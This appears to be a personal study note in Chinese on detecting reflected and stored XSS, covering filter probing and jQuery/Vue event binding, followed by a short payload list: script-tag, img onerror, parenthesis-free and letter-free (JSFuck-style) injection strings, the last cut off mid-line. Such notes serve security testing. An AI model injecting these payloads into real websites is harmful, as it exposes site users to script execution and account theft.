前言
本文叙述了反射型、存储型XSS的探测方法和简单的利用方式,其中会涉及到jQuery和vue。
这篇文章作为个人笔记,因此内容可能并不全面,日后有接触新的方法会有补充。
探测方法
寻找xss需要查看网站源码,跟踪用户输入的变量,检查变量传递过程是否能够触发漏洞,过滤是否能绕过,现在的网站为了安全不会在标签处通过事件直接引用js function,而是在另外的js文件中通过框架找到元素再跟事件函数绑定,例如jQuery的选择器:$("input").on(change:function(){alert(1);});,vue的选择器:new Vue({el:"input",data:{msg:alert(1),}});,因此需要花时间去看js源码,研究如何将利用语句拼接到网页的js中。
首先输入特殊/敏感字符,探测过滤情况:
<script></script>"'();,.<img>#-{}[]!
根据结果挑选payload开始注入:
——普通
<script>[xss]</script>
——img标签,单引号或双引号
<img src="" οnerrοr="[xss]"/>
——无需括号、分号
<script>οnerrοr={ [要调用的函数名]}throw [参数]</script>
——无需字母(运行函数为alert(1))
""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]][(''+{})[5]+(''+{})[1]+((""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]])+"